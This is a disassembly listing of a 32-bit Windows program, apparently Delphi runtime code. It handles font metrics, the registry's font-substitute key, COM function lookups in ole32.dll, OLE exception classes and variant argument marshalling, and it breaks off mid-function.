db 0FFh
db 0FFh
db 0B8h ; ¸
db 48h ; H OFF32 SEGDEF [_data,4001AD48]
db 0ADh ;
db 1
db 40h ; @
db 0BAh ; º
db 0Fh
db 0
db 0
db 0
db 0E8h ; è
db 6Eh ; n
db 0FDh ; ý
db 0FFh
db 0FFh
db 0A3h ; £
db 4 ; OFF32 SEGDEF [_bss,4001F304]
db 0F3h ; ó
db 1
db 40h ; @
db 5Bh ; [
db 0C3h ; Ã
align 4
; =============== S U B R O U T I N E =======================================
sub_40015918 proc near ; CODE XREF: sub_40014F8C+178p
var_C = byte ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFC8h
mov bl, 1
push 0
call sub_40006718 ; GetDC
mov esi, eax
test esi, esi
jz short loc_40015954
mov eax, ds:dword_4001F318
push eax
push esi
call sub_400066D0 ; SelectObject
test eax, eax
jz short loc_4001594C
push esp
push esi
call sub_400066C0 ; GetTextMetricsA
test eax, eax
jz short loc_4001594C
movzx ebx, [esp+40h+var_C]
loc_4001594C: ; CODE XREF: sub_40015918+22j
; sub_40015918+2Dj
push esi
push 0
call sub_40006748 ; ReleaseDC
loc_40015954: ; CODE XREF: sub_40015918+12j
mov eax, ebx
add esp, 38h
pop esi
pop ebx
retn
sub_40015918 endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 81h ;
db 0C4h ; Ä
db 0F8h ; ø
db 0FEh ; þ
db 0FFh
db 0FFh
db 33h ; 3
db 0C0h ; À
db 89h ; ‰
db 45h ; E
db 0FCh ; ü
db 33h ; 3
db 0C0h ; À
db 55h ; U
db 68h ; h
db 5Fh ; _ OFF32 SEGDEF [_text,40015A5F]
db 5Ah ; Z
db 1
db 40h ; @
db 64h ; d
db 0FFh
db 30h ; 0
db 64h ; d
db 89h ; ‰
db 20h
db 6Ah ; j
db 48h ; H
db 0A1h ; ¡
db 0Ch ; OFF32 SEGDEF [_bss,4001F30C]
db 0F3h ; ó
db 1
db 40h ; @
db 50h ; P
db 6Ah ; j
db 8
db 0E8h ; è
db 81h ;
db 0Ch
db 0FFh
db 0FFh
db 0F7h ; ÷
db 0D8h ; Ø
db 0A3h ; £
db 0ACh ; ¬ OFF32 SEGDEF [_data,4001AAAC]
db 0AAh ; ª
db 1
db 40h ; @
db 0A1h ; ¡
db 0C8h ; È OFF32 SEGDEF [_data,4001B0C8]
db 0B0h ; °
db 1
db 40h ; @
db 83h ; ƒ
db 38h ; 8
db 1
db 75h ; u
db 16h
db 0E8h ; è
db 7Bh ; {
db 0FFh
db 0FFh
db 0FFh
db 3Ch ; <
db 80h ; €
db 75h ; u
db 0Dh
db 8Dh ;
db 45h ; E
db 0FCh ; ü
db 0BAh ; º
db 74h ; t OFF32 SEGDEF [_text,40015A74]
db 5Ah ; Z
db 1
db 40h ; @
db 0E8h ; è
db 6Eh ; n
db 0EFh ; ï
db 0FEh ; þ
db 0FFh
db 0B2h ; ²
db 1
db 0A1h ; ¡
db 4Ch ; L OFF32 SEGDEF [_text,4001404C]
db 40h ; @
db 1
db 40h ; @
db 0E8h ; è
db 92h ; ’
db 0E7h ; ç
db 0FFh
db 0FFh
db 89h ; ‰
db 45h ; E
db 0F8h ; ø
db 33h ; 3
db 0C0h ; À
db 55h ; U
db 68h ; h
db 17h ; OFF32 SEGDEF [_text,40015A17]
db 5Ah ; Z
db 1
db 40h ; @
db 64h ; d
db 0FFh
db 30h ; 0
db 64h ; d
db 89h ; ‰
db 20h
db 0BAh ; º
db 2
db 0
db 0
db 80h ; €
db 8Bh ; ‹
db 45h ; E
db 0F8h ; ø
db 0E8h ; è
db 14h
db 0E8h ; è
db 0FFh
db 0FFh
db 0BAh ; º
db 84h ; „ OFF32 SEGDEF [_text,40015A84]
db 5Ah ; Z
db 1
db 40h ; @
db 8Bh ; ‹
db 45h ; E
db 0F8h ; ø
db 0E8h ; è
db 8Fh ;
db 0E9h ; é
db 0FFh
db 0FFh
db 84h ; „
db 0C0h ; À
db 74h ; t
db 18h
db 8Dh ;
db 4Dh ; M
db 0FCh ; ü
db 0BAh ; º
db 0CCh ; Ì OFF32 SEGDEF [_text,40015ACC]
db 5Ah ; Z
db 1
db 40h ; @
db 8Bh ; ‹
db 45h ; E
db 0F8h ; ø
db 0E8h ; è
db 0DBh ; Û
db 0EBh ; ë
db 0FFh
db 0FFh
db 8Bh ; ‹
db 45h ; E
db 0F8h ; ø
db 0E8h ; è
db 0BBh ; »
db 0E7h ; ç
db 0FFh
db 0FFh
db 33h ; 3
db 0C0h ; À
db 5Ah ; Z
db 59h ; Y
db 59h ; Y
db 64h ; d
db 89h ; ‰
db 10h
db 68h ; h
db 1Eh ; OFF32 SEGDEF [_text,40015A1E]
db 5Ah ; Z
db 1
db 40h ; @
; ---------------------------------------------------------------------------
loc_40015A0E: ; CODE XREF: .text:40015A1Cj
mov eax, [ebp-8]
call sub_40003CE8
retn
; ---------------------------------------------------------------------------
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015A0E
; ---------------------------------------------------------------------------
loc_40015A1E: ; CODE XREF: .text:40015A16j
cmp dword ptr [ebp-4], 0
jz short loc_40015A49
lea eax, [ebp-108h]
mov edx, [ebp-4]
mov ecx, 0FFh
call sub_40004B20
lea edx, [ebp-108h]
mov eax, offset byte_4001AAB7
mov cl, 1Fh
call sub_400034F4
loc_40015A49: ; CODE XREF: .text:40015A22j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015A66
loc_40015A56: ; CODE XREF: .text:40015A64j
lea eax, [ebp-4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015A56
; ---------------------------------------------------------------------------
loc_40015A66: ; CODE XREF: .text:40015A5Ej
; DATA XREF: .text:40015A51o
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 6
aTahoma db 'Tahoma',0
align 4
dd 0FFFFFFFFh, 3Ch
aSoftwareMicros db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes',0
align 4
dd 0FFFFFFFFh, 0Eh
dd 5320534Dh, 6C6C6568h, 676C4420h, 3220h
off_40015ADC dd offset dword_40015B28 ; DATA XREF: .itext:4001933Eo
dd 7 dup(0)
dd offset dword_40015B28
dd 20h
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40015B70
dword_40015B28 dd 6150540Fh, 72657474h, 6E614D6Eh, 72656761h, 0D2845653h
; DATA XREF: .text:off_40015ADCo
; .text:40015AFCo
dd 0C4830874h, 0E3EAE8F0h, 0DA8BFFFEh, 468DF08Bh, 8DE85008h
dd 8BFFFF0Ah, 74DB84C6h, 0E42AE80Fh, 8F64FFFEh, 5, 0CC48300h
dd 5B5EC68Bh, 408DC3h
; =============== S U B R O U T I N E =======================================
sub_40015B70 proc near ; DATA XREF: .text:40015B24o
push ebx
push esi
call sub_40003FD8
mov ebx, edx
mov esi, eax
mov eax, esi
call sub_40015BB4
lea eax, [esi+8]
push eax
call sub_40006518 ; RtlDeleteCriticalSection
test bl, bl
jle short loc_40015B96
mov eax, esi
call sub_40003F80
loc_40015B96: ; CODE XREF: sub_40015B70+1Dj
pop esi
pop ebx
retn
sub_40015B70 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40015B9C proc near ; CODE XREF: sub_40015BB4+19p
add eax, 8
push eax
call sub_40006520 ; RtlEnterCriticalSection
retn
sub_40015B9C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40015BA8 proc near ; CODE XREF: sub_40015BB4+47p
add eax, 8
push eax
call sub_400065E8 ; RtlLeaveCriticalSection
retn
sub_40015BA8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40015BB4 proc near ; CODE XREF: sub_40015B70+Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push ebx
push esi
mov [ebp+var_4], eax
jmp short loc_40015C21
; ---------------------------------------------------------------------------
loc_40015BC1: ; CODE XREF: sub_40015BB4+75j
mov [ebp+var_8], ebx
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
call sub_40015B9C
xor eax, eax
push ebp
push offset loc_40015C01
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_C]
mov eax, [eax]
mov edx, [ebp+var_4]
mov [edx+4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015C08
loc_40015BF8: ; CODE XREF: sub_40015BB4+52j
mov eax, [ebp+var_4]
call sub_40015BA8
retn
; ---------------------------------------------------------------------------
loc_40015C01: ; DATA XREF: sub_40015BB4+21o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015BF8
; ---------------------------------------------------------------------------
loc_40015C08: ; CODE XREF: sub_40015BB4+4Cj
; DATA XREF: sub_40015BB4+3Fo
mov eax, [ebp+var_C]
mov esi, [eax+4]
test esi, esi
jz short loc_40015C19
mov eax, esi
call sub_40003CE8
loc_40015C19: ; CODE XREF: sub_40015BB4+5Cj
mov eax, [ebp+var_8]
call sub_40002C3C
loc_40015C21: ; CODE XREF: sub_40015BB4+Bj
mov eax, [ebp+var_4]
mov ebx, [eax+4]
test ebx, ebx
jnz short loc_40015BC1
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40015BB4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40015C34 proc near ; DATA XREF: .text:400183B8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40015CFD
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001F308
jnz loc_40015CEF
mov eax, ds:dword_4001F360
call sub_40003CE8
mov eax, dword_4001AD40
call sub_40003CE8
mov eax, dword_4001AD3C
call sub_40003CE8
call sub_40015794
mov eax, dword_4001AD44
call sub_40003CE8
mov eax, ds:dword_4001F35C
call sub_40003CE8
mov eax, ds:dword_4001F350
call sub_40003CE8
mov eax, ds:dword_4001F354
call sub_40003CE8
mov eax, ds:dword_4001F358
call sub_40003CE8
mov eax, ds:dword_4001F304
push eax
call sub_40006698 ; DeleteObject
push offset dword_4001F320
call sub_40006518 ; RtlDeleteCriticalSection
push offset dword_4001F338
call sub_40006518 ; RtlDeleteCriticalSection
mov eax, offset dword_4001AAD8
mov ecx, 34h
mov edx, ds:off_40013198
call sub_40005314
mov eax, offset dword_4001AC78
mov ecx, 12h
mov edx, ds:off_40013198
call sub_40005314
loc_40015CEF: ; CODE XREF: sub_40015C34+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015D04
loc_40015CFC: ; CODE XREF: sub_40015C34+CEj
retn
; ---------------------------------------------------------------------------
loc_40015CFD: ; DATA XREF: sub_40015C34+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015CFC
; ---------------------------------------------------------------------------
loc_40015D04: ; CODE XREF: sub_40015C34:loc_40015CFCj
; DATA XREF: sub_40015C34+C3o
pop ebp
retn
sub_40015C34 endp
; ---------------------------------------------------------------------------
align 4
off_40015D08 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF08o
dd 0FF93h
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B044o
dd 0FF94h
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B07Co
dd 0FF95h
dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF64o
dd 0FF96h
off_40015D28 dd offset dword_40015D74 ; DATA XREF: .text:40015DA8o
; sub_400165BC+21r ...
dd 7 dup(0)
dd offset dword_40015D74
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40015D74 dd 6C4F4509h, 72724565h, 0C08B726Fh ; .text:40015D48o
off_40015D80 dd offset dword_40015DCC ; DATA XREF: .text:40015E04o
; sub_40016050+Ar ...
dd 7 dup(0)
dd offset dword_40015DCC
dd 10h
dd offset off_40015D28
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40015DCC dd 6C4F450Ch, 73795365h, 6F727245h, 408D72h ; .text:40015DA0o
off_40015DDC dd offset dword_40015E28 ; DATA XREF: sub_40016180+B1r
; sub_40016280+54r ...
dd 2 dup(0)
dd offset dword_40015E28
dd 4 dup(0)
dd offset word_40015E42
dd 18h
dd offset off_40015D80
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40015E28 dd 0Eh, 20000h ; .text:40015DE8o
db 2 dup(0)
dd offset off_40001000
dw 10h
db 2 dup(0)
dd offset off_40001000
dw 14h
db 2 dup(0)
word_40015E42 dw 450Dh ; DATA XREF: .text:40015DFCo
dword_40015E44 dd 45656C4Fh, 70656378h, 6E6F6974h, 0FFFFFFFFh, 9, 72617041h
dd 6E656D74h, 74h, 0FFFFFFFFh, 4, 65657246h, 0
dword_40015E74 dd 0FFFFFFFFh, 4, 68746F42h, 0dword_40015E84 dd 0FFFFFFFFh, 7, 7475654Eh, 6C6172h
; =============== S U B R O U T I N E =======================================
sub_40015E94 proc near ; CODE XREF: sub_40015FB8+35p
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
mov edx, esi
call sub_400048D8
mov eax, [ebx]
call sub_40008028
mov esi, eax
jmp short loc_40015EC9
; ---------------------------------------------------------------------------
loc_40015EAE: ; CODE XREF: sub_40015E94+45j
; sub_40015E94+49j
mov eax, [ebx]
call sub_40004D48
mov edx, esi
sub edx, eax
mov eax, ebx
call sub_40004F74
mov eax, [ebx]
call sub_40008028
mov esi, eax
loc_40015EC9: ; CODE XREF: sub_40015E94+18j
mov eax, [ebx]
call sub_40004B44
test eax, eax
jle short loc_40015EDF
movzx eax, byte ptr [esi]
sub al, 21h
jb short loc_40015EAE
sub al, 0Dh
jz short loc_40015EAE
loc_40015EDF: ; CODE XREF: sub_40015E94+3Ej
pop esi
pop ebx
retn
sub_40015E94 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40015EE4 proc near ; CODE XREF: sub_40015FB8+41p
; sub_40016050+Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
test dl, dl
jz short loc_40015F01
add esp, 0FFFFFFF0h
call sub_40003F30
loc_40015F01: ; CODE XREF: sub_40015EE4+13j
mov edi, ecx
mov [ebp+var_5], dl
mov ebx, eax
mov esi, [ebp+arg_4]
xor eax, eax
push ebp
push offset loc_40015F8E
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_4]
mov edx, edi
call sub_4000491C
cmp [ebp+var_4], 0
jnz short loc_40015F5D
lea edx, [ebp+var_4]
mov eax, esi
call sub_4000A81C
cmp [ebp+var_4], 0
jnz short loc_40015F5D
push 0
lea edx, [ebp+var_C]
mov eax, off_4001AF08
call sub_400062F0
mov edx, [ebp+var_C]
mov [ebp+var_14], esi
mov [ebp+var_10], 0
lea ecx, [ebp+var_14]
lea eax, [ebp+var_4]
call sub_400086E0
loc_40015F5D: ; CODE XREF: sub_40015EE4+43j
; sub_40015EE4+53j
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
xor edx, edx
mov eax, ebx
call sub_4000B1BC
mov [ebx+0Ch], esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015F95
loc_40015F7D: ; CODE XREF: sub_40015EE4+AFj
lea eax, [ebp+var_C]
call sub_40004884
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40015F8E: ; DATA XREF: sub_40015EE4+2Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015F7D
; ---------------------------------------------------------------------------
loc_40015F95: ; CODE XREF: sub_40015EE4+A9j
; DATA XREF: sub_40015EE4+94o
mov eax, ebx
cmp [ebp+var_5], 0
jz short loc_40015FAC
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_40015FAC: ; CODE XREF: sub_40015EE4+B7j
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40015EE4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40015FB8 proc near ; CODE XREF: sub_40016180+B6p
; sub_40016784+62p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
test dl, dl
jz short loc_40015FCC
add esp, 0FFFFFFF0h
call sub_40003F30
loc_40015FCC: ; CODE XREF: sub_40015FB8+Aj
mov esi, ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push offset loc_4001602A
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_0]
push eax
lea edx, [ebp+var_4]
mov eax, esi
call sub_40015E94
mov ecx, [ebp+var_4]
xor edx, edx
mov eax, edi
call sub_40015EE4
lea eax, [edi+10h]
mov edx, [ebp+arg_8]
call sub_400048D8
lea eax, [edi+14h]
mov edx, [ebp+arg_4]
call sub_400048D8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40016031
loc_40016021: ; CODE XREF: sub_40015FB8+77j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4001602A: ; DATA XREF: sub_40015FB8+1Do
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40016021
; ---------------------------------------------------------------------------
loc_40016031: ; CODE XREF: sub_40015FB8+71j
; DATA XREF: sub_40015FB8+64o
mov eax, edi
test bl, bl
jz short loc_40016046
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_40016046: ; CODE XREF: sub_40015FB8+7Dj
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn 10h
sub_40015FB8 endp
; =============== S U B R O U T I N E =======================================
sub_40016050 proc near ; CODE XREF: sub_4001606C+7p
push ebx
mov ebx, eax
push ebx
push 0
xor ecx, ecx
mov dl, 1
mov eax, ds:off_40015D80
call sub_40015EE4
call sub_400042E4
pop ebx
retn
sub_40016050 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4001606C proc near ; CODE XREF: sub_400165F0:loc_400166BCp
test eax, 80000000h
jz short locret_40016078
call sub_40016050
locret_40016078: ; CODE XREF: sub_4001606C+5j
retn
sub_4001606C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4001607C proc near ; CODE XREF: .itext:400193A1p
push ebx
push offset dword_400160F0
call sub_400065A0 ; GetModuleHandleA
mov ebx, eax
test ebx, ebx
jz short loc_400160ED
push offset aCocreateinstan ; "CoCreateInstanceEx"
push ebx
call sub_400065A8 ; GetProcAddress
mov dword_4001AD88, eax
push offset aCoinitializeex ; "CoInitializeEx"
push ebx
call sub_400065A8 ; GetProcAddress
mov dword_4001AD8C, eax
push offset aCoaddrefserver ; "CoAddRefServerProcess"
push ebx
call sub_400065A8 ; GetProcAddress
mov dword_4001AD90, eax
push offset aCoreleaseserve ; "CoReleaseServerProcess"
push ebx
call sub_400065A8 ; GetProcAddress
mov dword_4001AD94, eax
push offset aCoresumeclasso ; "CoResumeClassObjects"
push ebx
call sub_400065A8 ; GetProcAddress
mov dword_4001AD98, eax
push offset aCosuspendclass ; "CoSuspendClassObjects"
push ebx
call sub_400065A8 ; GetProcAddress
mov dword_4001AD9C, eax
loc_400160ED: ; CODE XREF: sub_4001607C+Fj
pop ebx
retn
sub_4001607C endp
; ---------------------------------------------------------------------------
align 10h
dword_400160F0 dd 33656C6Fh, 6C642E32h, 6ChaCocreateinstan db 'CoCreateInstanceEx',0 ; DATA XREF: sub_4001607C+11o
align 10h
aCoinitializeex db 'CoInitializeEx',0 ; DATA XREF: sub_4001607C+21o
align 10h
aCoaddrefserver db 'CoAddRefServerProcess',0 ; DATA XREF: sub_4001607C+31o
align 4
aCoreleaseserve db 'CoReleaseServerProcess',0 ; DATA XREF: sub_4001607C+41o
align 10h
aCoresumeclasso db 'CoResumeClassObjects',0 ; DATA XREF: sub_4001607C+51o
align 4
aCosuspendclass db 'CoSuspendClassObjects',0 ; DATA XREF: sub_4001607C+61o
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016180 proc near ; DATA XREF: .itext:400193BEo
; .bss:off_4001C020o
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 40016277 SIZE 00000006 BYTES
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40016270
push dword ptr fs:[eax]
mov fs:[eax], esp
xor eax, eax
mov [ebp+var_14], eax
lea eax, [ebp+var_4]
call sub_40006204
push eax
push 0
call sub_40006B08
test eax, eax
jnz short loc_400161FD
lea eax, [ebp+var_8]
call sub_40005008
push eax
mov eax, [ebp+var_4]
push eax
mov eax, [eax]
call dword ptr [eax+10h]
lea eax, [ebp+var_C]
call sub_40005008
push eax
mov eax, [ebp+var_4]
push eax
mov eax, [eax]
call dword ptr [eax+14h]
lea eax, [ebp+var_10]
call sub_40005008
push eax
mov eax, [ebp+var_4]
push eax
mov eax, [eax]
call dword ptr [eax+18h]
lea eax, [ebp+var_14]
push eax
mov eax, [ebp+var_4]
push eax
mov eax, [eax]
call dword ptr [eax+1Ch]
loc_400161FD: ; CODE XREF: sub_40016180+38j
push esi
push ebx
lea eax, [ebp+var_18]
mov edx, [ebp+var_8]
call sub_40004B0C
mov eax, [ebp+var_18]
push eax
lea eax, [ebp+var_1C]
mov edx, [ebp+var_10]
call sub_40004B0C
mov eax, [ebp+var_1C]
push eax
mov eax, [ebp+var_14]
push eax
lea eax, [ebp+var_20]
mov edx, [ebp+var_C]
call sub_40004B0C
mov ecx, [ebp+var_20]
mov dl, 1
mov eax, ds:off_40015DDC
call sub_40015FB8
jmp sub_400042E4
; ---------------------------------------------------------------------------
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40016277
loc_4001624D: ; CODE XREF: .text:40016275j
lea eax, [ebp+var_20]
mov edx, 3
call sub_400048A8
lea eax, [ebp+var_10]
mov edx, 3
call sub_40005020
lea eax, [ebp+var_4]
call sub_40006204
retn
; ---------------------------------------------------------------------------
loc_40016270: ; DATA XREF: sub_40016180+16o
jmp loc_40004204
sub_40016180 endp
; ---------------------------------------------------------------------------
jmp short loc_4001624D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40016180
loc_40016277: ; CODE XREF: sub_40016180+EFj
; DATA XREF: sub_40016180+C8o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_40016180
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016280 proc near ; CODE XREF: sub_400166E8+8Fp
var_650 = dword ptr -650h
var_250 = dword ptr -250h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 40004204 SIZE 00000080 BYTES
; FUNCTION CHUNK AT 400042A4 SIZE 00000006 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFF9B0h
push ebx
push esi
push edi
mov [ebp+var_28], ecx
mov esi, edx
mov [ebp+var_24], eax
lea eax, [ebp+var_20]
mov edx, ds:off_40006ABC
call sub_40005204
xor eax, eax
push ebp
push offset loc_400165AB
push dword ptr fs:[eax]
mov fs:[eax], esp
xor eax, eax
mov [ebp+var_30], eax
xor ecx, ecx
push ebp
push offset loc_40016588
push dword ptr fs:[ecx]
mov fs:[ecx], esp
movzx edi, byte ptr [esi+1]
cmp edi, 40h
jle short loc_400162E3
mov ecx, off_4001AF64
mov dl, 1
mov eax, ds:off_40015DDC
call sub_4000B0EC
call sub_400042E4
loc_400162E3: ; CODE XREF: sub_40016280+4Aj
test edi, edi
jz loc_400164AC
mov eax, [ebp+arg_4]
mov [ebp+var_34], eax
mov eax, edi
add eax, eax
lea eax, [ebp+eax*8+var_650]
mov [ebp+var_38], eax
xor ebx, ebx
loc_40016301: ; CODE XREF: sub_40016280+226j
sub [ebp+var_38], 10h
movzx eax, byte ptr [esi+ebx+3]
mov edx, eax
and dl, 7Fh
movzx edx, dl
mov [ebp+var_2C], edx
and al, 80h
cmp [ebp+var_2C], 0Ah
jnz short loc_40016335
mov eax, [ebp+var_38]
mov dword ptr [eax], 0Ah
mov eax, [ebp+var_38]
mov dword ptr [eax+8], 80020004h
jmp loc_400164A3
; ---------------------------------------------------------------------------
loc_40016335: ; CODE XREF: sub_40016280+9Bj
cmp [ebp+var_2C], 48h
jnz short loc_400163AF
mov edx, [ebp+var_30]
lea edx, [ebp+edx*8+var_250]
mov [ebp+var_3C], edx
test al, al
jz short loc_4001637C
mov eax, [ebp+var_34]
mov eax, [eax]
mov eax, [eax]
call sub_40005674
mov edx, [ebp+var_3C]
mov [edx], eax
mov eax, [ebp+var_34]
mov eax, [eax]
mov edx, [ebp+var_3C]
mov [edx+4], eax
mov eax, [ebp+var_38]
mov dword ptr [eax], 4008h
mov eax, [ebp+var_3C]
mov edx, [ebp+var_38]
mov [edx+8], eax
jmp short loc_400163A7
; ---------------------------------------------------------------------------
loc_4001637C: ; CODE XREF: sub_40016280+CAj
mov eax, [ebp+var_34]
mov eax, [eax]
call sub_40005674
mov edx, [ebp+var_3C]
mov [edx], eax
mov eax, [ebp+var_3C]
xor edx, edx
mov [eax+4], edx
mov eax, [ebp+var_38]
mov dword ptr [eax], 8
mov eax, [ebp+var_3C]
mov eax, [eax]
mov edx, [ebp+var_38]
mov [edx+8], eax
loc_400163A7: ; CODE XREF: sub_40016280+FAj
inc [ebp+var_30]
jmp loc_4001649F
; ---------------------------------------------------------------------------
loc_400163AF: ; CODE XREF: sub_40016280+B9j
test al, al
jz short loc_400163F8
cmp [ebp+var_2C], 0Ch
jnz short loc_400163DB
mov eax, [ebp+var_34]
mov eax, [eax]
cmp word ptr [eax], 100h
jnz short loc_400163DB
mov eax, [ebp+var_34]
mov eax, [eax]
mov edx, eax
mov eax, [ebp+var_34]
mov eax, [eax]
mov ecx, 8
call sub_4000E9CC
loc_400163DB: ; CODE XREF: sub_40016280+137j
; sub_40016280+143j
mov eax, [ebp+var_2C]
or eax, 4000h
mov edx, [ebp+var_38]
mov [edx], eax
mov eax, [ebp+var_34]
mov eax, [eax]
mov edx, [ebp+var_38]
mov [edx+8], eax
jmp loc_4001649F
; ---------------------------------------------------------------------------
loc_400163F8: ; CODE XREF: sub_40016280+131j
cmp [ebp+var_2C], 0Ch
jnz short loc_40016471
mov eax, [ebp+var_34]
cmp word ptr [eax], 100h
jnz short loc_40016446
mov eax, [ebp+var_30]
lea eax, [ebp+eax*8+var_250]
mov [ebp+var_40], eax
mov eax, [ebp+var_34]
mov eax, [eax+8]
call sub_40005674
mov edx, [ebp+var_40]
mov [edx], eax
mov eax, [ebp+var_40]
xor edx, edx
mov [eax+4], edx
mov eax, [ebp+var_38]
mov dword ptr [eax], 8
mov eax, [ebp+var_40]
mov eax, [eax]
mov edx, [ebp+var_38]
mov [edx+8], eax
inc [ebp+var_30]
jmp short loc_4001649F
; ---------------------------------------------------------------------------
loc_40016446: ; CODE XREF: sub_40016280+186j
mov eax, [ebp+var_34]
mov edx, [eax]
mov ecx, [ebp+var_38]
mov [ecx], edx
mov edx, [eax+4]
mov ecx, [ebp+var_38]
mov [ecx+4], edx
mov edx, [eax+8]
mov ecx, [ebp+var_38]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov edx, [ebp+var_38]
mov [edx+0Ch], eax
add [ebp+var_34], 0Ch
jmp short loc_4001649F
; ---------------------------------------------------------------------------
loc_40016471: ; CODE XREF: sub_40016280+17Cj
mov eax, [ebp+var_38]
mov edx, [ebp+var_2C]
mov [eax], edx
mov eax, [ebp+var_34]
mov eax, [eax]
